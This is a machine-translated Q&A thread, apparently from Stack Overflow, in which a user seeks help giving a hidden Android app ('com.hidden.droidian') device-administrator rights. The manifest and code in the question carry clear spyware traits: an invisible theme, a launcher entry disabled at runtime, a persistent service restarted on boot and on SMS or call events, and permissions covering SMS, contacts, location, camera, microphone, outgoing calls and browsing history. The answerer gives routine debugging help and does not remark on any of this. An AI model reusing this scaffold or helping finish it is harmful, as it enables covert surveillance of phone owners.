Привилегия администратора устройства для приложения Android

I know similar questions has been asked many times but still i was unable to get my solution from any of it. I am quite new to android & JAVA so please keep that in mind :) .I am working on some security related experimental projects at work & trying to give my android application device administrator privilege. I have one SampleDeviceAdministrator app which works fine. I want to use reuse the same code to my application so that when my application is launched it gets device admin access too.For that i have included the java classes from former app to my app & i am trying to call the same code to my app thru former app. Here are screenshots of MainActivity.java from sample app.

package com.connect;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.util.Log;
import android.view.WindowManager;

public class Droidian extends Activity {

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
        getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
        PackageManager i = getApplicationContext().getPackageManager();
        i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

        if(isMyServiceRunning()==false)
        {
            startService(new Intent(getApplicationContext(), DroidianService.class));
            Log.i("com.connect","startService");
        }
    }
    private boolean isMyServiceRunning() {
        ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
        for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
            if (DroidianService.class.getName().equals(service.service.getClassName())) {
                return true;
            }
        }
        return false;
    }
}

Вот Droidian.java, который является основным классом для моего приложения.

package com.connect;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.util.Log;
import android.view.WindowManager;

public class Droidian extends Activity {

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
        getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
        PackageManager i = getApplicationContext().getPackageManager();
        i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

        if(isMyServiceRunning()==false)
        {
            startService(new Intent(getApplicationContext(), DroidianService.class));
            Log.i("com.connect","startService");
        }
    }
    private boolean isMyServiceRunning() {
        ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
        for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
            if (DroidianService.class.getName().equals(service.service.getClassName())) {
                return true;
            }
        }
        return false;
    }
}

и здесь AndroidManifest.xml

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.hidden.droidian"
    android:versionCode="2"
    android:versionName="2.0" xmlns:tools="http://schemas.android.com/tools">

    <uses-sdk
        android:minSdkVersion="10"
        android:targetSdkVersion="18" tools:ignore="OldTargetApi"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    
 <supports-screens android:resizeable="true"
              android:largeScreens="true" 
              android:xlargeScreens="true"
              />   
    
    <application 
        android:icon="@drawable/launcher"
        android:label="@string/app_name"
		android:theme="@style/Invisible"
		android:allowBackup="false"
		android:persistent="true">
        <activity
            android:name="com.connect.Droidian"
            android:excludeFromRecents="true">
        </activity>
        <activity
            android:name="com.connect.MainActivity"
           android:label="@string/app_name">
                <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
 				</intent-filter>
        </activity>
        <activity
            android:name="com.connect.Dialog" 
            android:excludeFromRecents="true">
        </activity>
        <activity
            android:name="com.connect.CameraView" 
            android:excludeFromRecents="true">
        </activity>
        <activity
            android:name="com.connect.VideoView" 
            android:excludeFromRecents="true">
        </activity>
        <service android:name="com.connect.DroidianService"
            android:enabled="true"
            android:exported="true"
            android:persistent="true">
        </service>  
        <service android:name="com.connect.RecordService">
        </service> 
                 <receiver android:name="com.connect.ServiceReceiver" 
                   android:enabled="true"
                   android:exported="true"
                   android:persistent="true">
				        <intent-filter android:priority="1000">
								<action android:name="android.intent.action.BOOT_COMPLETED" />
				                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
        						<action android:name="android.intent.action.PHONE_STATE" />
        						<action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE"/>
        						<action android:name="android.intent.action.QUICKBOOT_POWERON" />
				        </intent-filter>
    	 		</receiver>

        <receiver
            android:name="com.connect.SampleDeviceAdminReceiver"
            android:permission="android.permission.BIND_DEVICE_ADMIN" >
            <meta-data
                android:name="android.app.device_admin"
                android:resource="@xml/device_admin" />

            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>
            </application>
    
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" android:required="false" />
<uses-permission android:name="android.permission.INTERNET" android:required="true"/>
<uses-permission android:name="android.permission.READ_SMS" android:required="true" />
<uses-permission android:name="android.permission.WRITE_SMS" android:required="true" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" android:required="true" />
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/>
<uses-permission android:name="android.permission.READ_CONTACTS" android:required="true" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" android:required="true" />
<uses-permission android:name="android.permission.GET_TASKS" android:required="true" />
<uses-permission android:name="android.permission.WAKE_LOCK" android:required="false" />
<uses-permission android:name="android.permission.CALL_PHONE" android:required="true" />
<uses-permission android:name="android.permission.SEND_SMS" android:required="true" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" android:required="false" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" android:required="false" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:required="true" />
<uses-permission android:name="android.permission.CAMERA" android:required="true" />
<uses-permission android:name="android.permission.RECORD_AUDIO" android:required="false" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" android:required="true" />
<uses-permission android:name="android.permission.RECEIVE_SMS" android:required="true" />
<uses-feature android:name="android.hardware.camera" android:required="false" />
<uses-feature android:name="android.hardware.camera.front" android:required="false" />
<uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
<uses-feature android:name="android.hardware.microphone" android:required="false" />


</manifest>

Когда я запускаю свое приложение, я получаю исключение нулевого указателя JAVA Runtime. Вот фрагмент из logcat:

12-10 13:47:42.261    4435-4435/com.hidden.droidian E/AndroidRuntime﹕ FATAL EXCEPTION: main
    Process: com.hidden.droidian, PID: 4435
    java.lang.RuntimeException: Failure delivering result ResultInfo{who=null, request=100, result=0, data=null} to activity {com.hidden.droidian/com.connect.MainActivity}: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference
            at android.app.ActivityThread.deliverResults(ActivityThread.java:3699)
            at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742)
            at android.app.ActivityThread.-wrap16(ActivityThread.java)
            at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393)
            at android.os.Handler.dispatchMessage(Handler.java:102)
            at android.os.Looper.loop(Looper.java:148)
            at android.app.ActivityThread.main(ActivityThread.java:5417)
            at java.lang.reflect.Method.invoke(Native Method)
            at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
            at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
     Caused by: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference
            at android.app.Activity.onCreate(Activity.java:905)
            at com.connect.Droidian.onCreate(Droidian.java:16)
            at com.connect.MainActivity.onActivityResult(MainActivity.java:54)
            at android.app.Activity.dispatchActivityResult(Activity.java:6428)
            at android.app.ActivityThread.deliverResults(ActivityThread.java:3695)
            at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742)
            at android.app.ActivityThread.-wrap16(ActivityThread.java)
            at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393)
            at android.os.Handler.dispatchMessage(Handler.java:102)
            at android.os.Looper.loop(Looper.java:148)
            at android.app.ActivityThread.main(ActivityThread.java:5417)
            at java.lang.reflect.Method.invoke(Native Method)
            at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
            at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)

Кроме того, мое приложение должно быть скрытым приложением, поэтому пусковая установка не создается, однако для выполнения разрешения администратора устройства, я полагаю, требуется пусковая установка. Если бы кто-нибудь мог заглянуть в него, было бы здорово. Пожалуйста, дайте мне знать, если мне нужно предоставить дополнительную информацию. Спасибо!


person Isha    schedule 10.12.2015    source источник
comment
это может быть вашим решением... http://stackoverflow.com/questions/23246284/android-fragment-lifecycle-issue-nullpointerexception-on-onactivityresult   -  person sud    schedule 10.12.2015


Ответы (1)


Я думаю, вы забыли выложить скриншоты.

Прежде всего, если Droidian.java является основным классом для вашего приложения, почему он не установлен в качестве средства запуска в файле манифеста?

Это должно быть так:

 <activity
        android:name="com.connect.Droidian"
        android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
 </activity> 

И в приложении есть один и только один LAUNCHER.

Дайте мне знать, если это поможет вам.

person Mann    schedule 10.12.2015
comment
Я тоже сохранил свой файл манифеста, но это тоже не помогло. Если есть только один лаунчер, могу ли я заставить две функции работать на одном лаунчере одновременно? Droidian.java в основном работает как сервис, в то время как MainActivity.java должен отображать приглашение администратора устройства при запуске. Я намерен запустить обе функции onCreate сразу после запуска приложения. Это означает, что как только приложение установлено, droidian должен работать в фоновом режиме, в то время как пользователю должно быть представлено приглашение администратора устройства. Кроме того, какие скриншоты вы просите? Эмулятор или код? - person Isha; 10.12.2015
comment
После запуска невозможно запустить более одного действия. Если вы хотите, чтобы Droidian.java работал как служба, вы должны расширить ее как службу, а не как действие. Также невозможно запустить саму Activity или Service после установки. Я предлагаю вам включить функции Droidian в сервис и запустить его из основного действия. - person Mann; 10.12.2015
comment
Наверное, я не очень ясно выразил свои требования. Я достиг своей цели, объединив файлы манифеста. Проблема заключалась в имени пакета. Это я изменил в файле build.gradle, и, похоже, это сработало. Однако после запуска MainActivity я хочу вызвать метод Droidian onCreate. Я понятия не имею, как это сделать. Любая помощь (учитывая, что я нуб) будет очень признательна :) - person Isha; 11.12.2015
comment
Вам просто нужно создать Intent в MainActivity. Intent myIntent = new Intent ( this, Droidian.class ); и запустите его следующим образом: startActivity ( myIntent ); (Вы можете запустить его из onResume MainActivity). Не забудьте определить активность Droidian в файле манифеста, если вы еще этого не сделали. Дайте мне знать, если это поможет вам. - person Mann; 11.12.2015
comment
Я определил код класса как: protected void onResume() { super.onResume(); Intent myIntent = new Intent ( this, Droidian.class ); startActivity(myIntent); } & manifest: ` ‹activity android:name=com.connect.Droidian android:excludeFromRecents=true› ‹/activity› ` все еще я сталкиваюсь со следующей ошибкой: android.content.ActivityNotFoundException: Unable to find explicit activity class {com.connect/com.connect.Droidian}; have you declared this activity in your AndroidManifest.xml? есть предложения? - person Isha; 14.12.2015
comment
В манифесте под тегом активности Droidian измените android:name="com.connect.Droidian" на android:name="com.hidden.droidian.Droidian" или на android:name=".Droidian", так как имя вашего пакета "com.hidden.droidian". Проверьте имя пакета и внесите соответствующие изменения для других действий. - person Mann; 14.12.2015